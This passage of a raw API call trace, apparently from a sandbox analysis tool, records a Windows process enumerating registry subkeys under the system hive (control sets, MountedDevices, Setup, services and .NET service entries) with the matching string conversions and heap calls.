Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.497] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0180.498] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.498] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.499] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0180.499] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.500] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0180.500] RegCloseKey (hKey=0x140) returned 0x0 [0180.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0180.500] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.500] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.501] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0180.501] RegCloseKey (hKey=0x148) returned 0x0 [0180.501] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0180.501] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.501] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.501] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.502] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0180.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.503] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0180.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, 